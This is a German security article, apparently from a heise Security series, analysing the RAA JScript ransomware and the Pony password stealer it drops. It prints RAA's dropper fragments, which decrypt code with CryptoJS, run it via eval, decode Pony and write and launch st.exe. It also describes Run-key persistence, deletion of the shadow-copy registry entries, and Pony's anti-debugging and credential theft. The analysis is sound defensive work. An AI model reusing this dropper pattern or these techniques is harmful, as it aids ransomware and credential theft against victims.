Analysiert: Ransomware meets Info-Stealer - RAA und das diebische Pony, Teil II

Wie diese Analysiert:-Folge enthüllt, weist die scheinbar perfekte Verschlüsselung des RAA-Trojaners doch Lücken auf. Auch der von RAA gestartete Passwort-Dieb kann sich mit seinen Anti-Debugging-Tricks der Analyse nicht entziehen.

In Pocket speichern vorlesen Druckansicht 3 Kommentare lesen
Analysiert: Ransomware meets Info-Stealer - RAA und das diebische Pony
Lesezeit: 12 Min.
Inhaltsverzeichnis

Meine Analyse der AES-Verschlüsselung des Erpressungs-Trojaners RAA im ersten Teil zeigte, dass diese wohl kaum zu knacken ist. Das Schlüssel-Material wird auf dem zentralen C&C-Server der Erpresser erzeugt und ist nur während der Verschlüsselung kurzfristig im Arbeitsspeicher des Opfer-PCs präsent. Ohne das kann man aber die verschlüsselten Daten nicht dechiffrieren. Die weitere Analyse zeigt jedoch, dass man die Hoffnung, an seine Daten zu kommen, nicht ganz aufgeben muss.

Verschlüsselt werden Dateien mit den Endungen .doc; .xls, .rtf, .pdf, .dbf, .jpg , .dwg, .cdr, .psd, .cd, .mdb, .png, .lcd, .zip und .rar. Ausdrücklich ausgenommen sind Dateien, bei denen die Zeichen "~" oder "$" im Namen darauf hinweisen, dass sie temporär sind. Auch bereits vorhandene verschlüsselte Dateien mit ".locked"-Endung verschlüsselt der Trojaner nicht noch einmal. Auch im Hinblick auf den Speicherort trifft die Ransomware eine Auswahl: Dateien, die sich im Papierkorb, im TEMP-Ordner, in AppData oder ProgramData, in Program Files oder Program Files (x86) oder in den Ordnern Microsoft oder WINDOWS finden, fasst sie nicht an. Gleiches gilt für Dateien in sämtlichen Unterordnern dieser Liste.

Besonders interessant ist, dass die Dateigröße entscheidet, ob und wie verschlüsselt wird. Die zugehörige if-Abfrage enthüllt folgende Kriterien:

  • Dateien, die kleiner sind, als 6122 Byte, werden im Ganzen verschlüsselt,
  • von Dateien, die zwischen 6123 Byte und 5 MByte groß sind, werden maximal die ersten 6,12 KByte verschlüsselt und
  • bei Dateien mit einer Größe zwischen knapp über 5 MByte und 500 MByte sind es maximal 250 KByte.
  • Dateien oberhalb dieser Grenze bleiben grundsätzlich unverschlüsselt.

Über die Gründe für dieses Vorgehen kann man nur spekulieren. Vermutlich sind es Optimierungsversuche, die der Tatsache geschuldet sind, dass die AES-Implementierung der eingesetzten CryptJS-Bibliothek sehr langsam ist und der Verschlüsselungsvorgang aller Dateien trotzdem nicht allzu lange dauern soll. Schließlich könnte das Opfer etwa auf Grund der dauernden Festplattenaktivitäten womöglich Verdacht schöpfen und durch rechtzeitige Reaktion noch Daten retten.

Doch diese Optimierung eröffnet Opfern zumindest eine Chance. Denn die nur teilweise verschlüsselten Dateien lassen sich zwar nicht mehr öffnen; mit viel Geduld und Handarbeit kann man aus ihnen jedoch noch unverschlüsselte Fragmente der Originaldaten retten.

Der in Microsofts JavaScript-Dialekt JScript realisierte Trojaner nutzt die Möglichkeiten des Windows Scripting Host (WSH) weidlich aus, unter anderem um auf das Dateisystem zuzugreifen. Dazu erzeugt er sich jeweils ActiveX-Objekte wie:

arqt = new ActiveXObject("Scripting.FileSystemObject");

die er dann unter anderem verwendet, um Dateien zu finden, zu verschlüsseln und schließlich umzubenennen:

arqt.MoveFile(nTQXname, nTQXname += ".locked");

Auch die Möglichkeit, per WScript Object lesend und schreibend auf die Registry zuzugreifen, nutzt RAA intensiv. Mittels eines neuen Eintrags unter HKCU\Software\Microsoft\Windows\CurrentVersion\Run setzt sich die Ransomware in den Autostart. So stellt sie sicher, dass er nach einem Reboot des Rechners seine heimtückische Arbeit fortsetzen und insbesondere auch neu hinzugekommene ebenfalls verschlüsseln kann.

Um die Wiederherstellung der verschlüsselten Dateien mittels Schattenkopien zu verhindern, greift RAA auf den Eintrag des Volume Shadow Copy Service unter HKLM\SYSTEM\CurrentControlSet\services\VSS zu. Dort löscht er zunächst sämtliche Subkeys samt Werten und letztlich auch den Eintrag selbst. Scheitert einer dieser Aufrufe, etwa wegen fehlender Admin-Rechte, fährt er einfach mit den folgenden Anweisungen fort.

Zum anderen legt die Ransomware auch einen neuen Schlüssel namens RAA in HKEY_CURRENT_USER sowie zwei Unterschlüssel namens Raa-ID und Raa-fnl an. Der unter Raa-ID eingetragene Wert entspricht dabei der ID, die dem Nutzer im Erpresser-Dokument angezeigt sowie beim GET-Request an den C&C-Server übermittelt wird. Raa-fnl wiederum erhält den Wert beenFinished, nachdem das JScript erstmals vollständig (und erfolgreich) ausgeführt wurde.

Den Text des scheinbar beschädigten, zur Tarnung angezeigten Dokuments sowie der Lösegeldforderung extrahiert RAA unter Verwendung von CryptoJS aus zwei verschlüsselten Strings. Ein weiterer, offensichtlich verschlüsselter String entpuppt sich bei der Analyse als der Programmcode eines zweiten Trojaners, den RAA quasi Huckepack mitbringt: den Password Stealer Pony. Dabei setzt RAA einige bekannte Obfuscation-Techniken ein.

Der zugehörige JScript-Code sieht zu Beginn folgendermaßen aus:

function RunThePony() {
var data_pn = "TVrDiQNMSIO…" //Pony-Code, base64-codiert
var cmd = "U2FsdGVkX1/…" //AES-verschlüsselter Jscript-Code
var key_cmd = "2c025c0a1a45d1f18df9ca3514babdbc";
var dec_cmd = CryptoJS.AES.decrypt(cmd, key_cmd);
dec_cmd = CryptoJS.enc.Utf8.stringify(dec_cmd);
eval(dec_cmd);
return 0;
}

Beim Funktionsaufruf wird der Inhalt der Variable cmd mit dem in key_cmd gespeicherten Key entschlüsselt, wobei der bereits erwähnte AES-Algorithmus aus der CryptoJS-Bibliothek zum Einsatz kommt. Nach einer Umwandlung in UTF-8 wird der entschlüsselte String per eval-Funktion ausgeführt. Ich ersetze eval durch document.write und kopiere die Funktion samt des CryptoJS-Codes in ein HTML-Dokument. Als ich die dann im Browser öffne, schreibt sie mir damit das entschlüsselte JScript ins Browser-Fenster. Ich kopiere den Code und unterziehe ihn abermals einer Verschönerung durch einen Beautifier.

Die wichtigsten Zeilen lauten wie folgt:

var flo = new ActiveXObject("ADODB.Stream");
var runer = WScript.CreateObject("WScript.Shell");
var wher = runer.SpecialFolders("MyDocuments");
wher = wher + "\\" + "st.exe";
flo.Open();
var pny = data_pn.replace(/NMSIOP/g, "A");
var pny_ar = CryptoJS.enc.Base64.parse(pny);
var pny_dec = pny_ar.toString(CryptoJS.enc.Utf8);
flo.WriteText(pny_dec);
flo.SaveToFile(wher, 2);
runer.Run(wher);

Der Pony-Code wird zunächst einer Ersetzung unterzogen (alle Vorkommen von "NMSIOP" werden zu "A") und anschließend dekodiert. Dann folgt die Speicherung als st.exe in MyDocuments. Wie bei der Erstellung der beiden Textdokumente kommen auch hier zwei COM-Objekte (einmal in Form eines ADO-Stream-Objekts und einmal in Gestalt des mittels WScript.CreateObject hergestellten Shell-Zugangs) zum Schreiben und Ausführen der neuen Datei zum Einsatz. Durch Entfernen der letzten Zeile mit dem Run()-Aufruf verhindere ich das Ausführen des Info-Stealers und führe das Skript-Fragment ebenfalls aus. Ich warte die – verhältnismäßig zeitaufwändige – Prozedur der Datei-Erstellung ab, bevor ich den entschlüsselten Info-Stealer Pony im Immunity-Debugger öffne.

Bei dem im vorliegenden Fall etwa 200 KByte großen Info-Stealer Pony handelt sich um eine Art Baukasten-Trojaner, der mittels des so genannten "PonyBuilders" ohne Programmierkenntnisse zusammengeklickt werden kann. Der Sourcecode der 2012 und 2014 geleakten Pony-Versionen 1.9 und 2.0 ist online verfügbar und wird von Cyberkriminellen gern zu ihren jeweiligen Zwecken modifiziert. Die automatische Suche nach Textstrings (oder alternativ der Blick auf die Virustotal-Analyse) zeigt mir, dass "meine" Pony-Variante mit Visual C++ kompiliert wurde. Ein Packer oder Obfuscator wurde nicht verwendet.

Beim Ausführen des Codes im Debugger – wie immer arbeite ich durchgängig in einer virtuellen Maschine – tritt eine seltsame Exception auf. Einer Ahnung folgend, schließe ich den Debugger und starte die Datei st.exe noch einmal separat, wobei ich den Vorgang mit dem Process Monitor aus der Sysinternals Suite überwache. Das Ergebnis des Monitoring ist zum einen ein echtes "Aha"-Erlebnis, das mir die wichtigsten Funktionen des diebischen Ponys innerhalb von Sekunden vor Augen führt.

Zum anderen weiß ich nun, dass Pony zwar keine Anti-VM-, durchaus aber Anti-Debugging-Techniken einsetzt, die den Programmablauf im Debugger beeinflussen. Dazu zählen im konkreten Fall unter anderem der Anruf von IsDebuggerPresent(), zeitbasierte Detection-Mechanismen (GetSystemTimeAsFileTime(), GetTickCount()) sowie der Versuch, den Debugger daran zu erkennen, ob er das Exception-Handling übernimmt (UnhandledExceptionFilter()).

Um zusätzlich auch die rein statische Analyse zu erschweren, entschlüsselt die vorliegende Pony-Variante einen Teils ihres Programmcodes erst zur Laufzeit, schreibt ihn im Anschluss an einen VirtualAlloc()-Aufruf in neu allokierten Arbeitsspeicher und springt zu einem späteren Zeitpunkt an die neue Adresse.

Doch davon lasse ich mich nicht abhalten. Schon öfter half mir in solchen Situationen das PhantOm-Plugin von Hellsp@wn. Die ursprünglich für den Debugger OllyDbg geschriebene und für Immunity überarbeitete Anti-Anti-Debug-Erweiterung erkennt und umgeht rund zwei Dutzend Tricks zur Debugger-Erkennung. Das ist besonders effizient, wenn wie in Ponys Fall ein ganzes Arsenal von Anti-Debugging-Techniken zum Einsatz kommt, die sich nur mühsam einzeln aufspüren und ausschalten lassen.

Bitcoin-Wallets stehen weit oben auf der Prioritäten-Liste des diebischen Ponys.

Eine der ersten Erkenntnisse meines Testlaufs im Immunity-Debugger: Der Trojaner überprüft offenbar, ob er umbenannt wurde. Entdeckt er einen Dateinamen wie file.exe, sample.exe, t.exe, myapp.exe oder self.exe, führt er die Schadfunktionen im Code nicht aus. Diese Selbstabschaltung greift jedoch nur, wenn die Datei direkt in C:\ liegt. Das lässt mich vermuten, dass es sich weniger um einen weiteren Anti-Analyse-Trick handelt, als vielmehr einen trivialen Mechanismus während des Programmierens eine Selbstinfektion zu vermeiden.

Da der Info-Stealer in der Vergangenheit bereits häufiger im Detail analysiert und seine wichtigsten Funktionen zudem in einer mit dem geleakten Pony-Code veröffentlichten Hilfedatei beschrieben wurden, verzichte ich auf eine vollständige Beschreibung. Ausgehend vom Pony 2.0 Sourcecode lässt sich zusammenfassend festhalten, dass lokal gespeicherte Passwörter aus über 100 Anwendungen – darunter unter anderem FTP-, Bitcoin- und E-Mail-Clients sowie Daten aus gängigen Browsern wie Chrome, Firefox, Opera und Internet Explorer – ausgelesen und dekodiert werden.

Pony sendet die Berichte mit den gestohlenen Daten an eine vordefinierte URL, die ich im Hex-Dump des entschlüsselten Codes finde. Wie erwartet wird sie in dieselbe IP aufgelöst wie die URL aus der RAA-Ransomware. Diese gehört zum ECATEL Network, einem in Amsterdam ansässigen Virtual-Private-Server-Anbieter, der in den vergangenen Jahren durch von dort ausgehender DoS-Attacken und Spam-Kampagnen mehrfach für Negativ-Schlagzeilen sorgte. In der Virustotal-Zusammenfassung zu dieser IP-Adresse finde ich auch prompt die SHA256-Hashes beider von mir betrachteter Dateien wieder.

Beide URLs werden zur selben IP aufgelöst.

Die Idee, den Windows Script Host zum Ausführen von Malware zu verwenden, wurde bereits in der Vergangenheit und vornehmlich durch VBScript-Dateien mit der Endung .vbs umgesetzt. Wichtig ist in diesem Zusammenhang im Hinterkopf zu behalten, dass die RAA-Ransomware in ihrer jetzigen Form nicht plattformübergreifend funktioniert, da es sich eben nicht um reines JavaScript handelt. Dies wird in gleicher Weise auch für jede künftig auftauchende Malware gelten, die Gebrauch von den Funktionserweiterungen macht, die Microsofts JScript in Verbindung mit dem WSH auszeichnen.

Da die sich hieraus ergebenden Möglichkeiten der Systemmanipulation und des Datendiebstahls bei weitem noch nicht ausgeschöpft sind, ist es sehr wahrscheinlich, dass schon bald weitere und ausgereiftere JScript-Schädlinge mit den unterschiedlichsten Schadfunktionen auftauchen werden. Auch die schnell und einfache Modifizierbarkeit und Wiederverwertbarkeit von Codepassagen sind gute Gründe, dies anzunehmen.

Bei Trend Micro war überdies zu lesen, dass Antiviren-Scanner Skripte weniger zuverlässig erkennen als Dateiformate, die häufiger für Malware verwendet werden. Die Tatsache, dass bei Virustotal auch mehr als drei Wochen nach dem ersten Scan lediglich von 26 der aufgeführten 52 Malware-Scanner den RAA-Erpressungs-Trojaner erkennen, scheint diese Annahme zu untermauern.

Im Vergleich zur Idee einer Ransomware in Skript-Form ist der Pony-Trojaner – Achtung: schlechter Wortwitz – bereits ein alter Hase, der das Internet schon seit ein paar Jahren unsicher macht. Die Analyse hat gezeigt, dass nach dem Auspacken und Starten keine Interaktion zwischen den beiden Schädlingen stattfindet. Gerade durch diese Unabhängigkeit steigen die Chancen, dass zumindest einer der beiden Angriffe von Erfolg gekrönt ist und der Täter wenn schon kein Lösegeld, dann zumindest einige Passwörter oder gar Bitcoin-Wallets abstauben kann.

Mehr Infos

Analysiert - die Serie auf heise Security

Im Rahmen der losen heise-Security-Serie "Analysiert:" werfen Experten einen Blick hinter die Kulissen von aktuellen Schädlingen, Betrugsmaschen oder anderen Tricks, die Sie um Ihre Daten bringen sollen.

(ovw)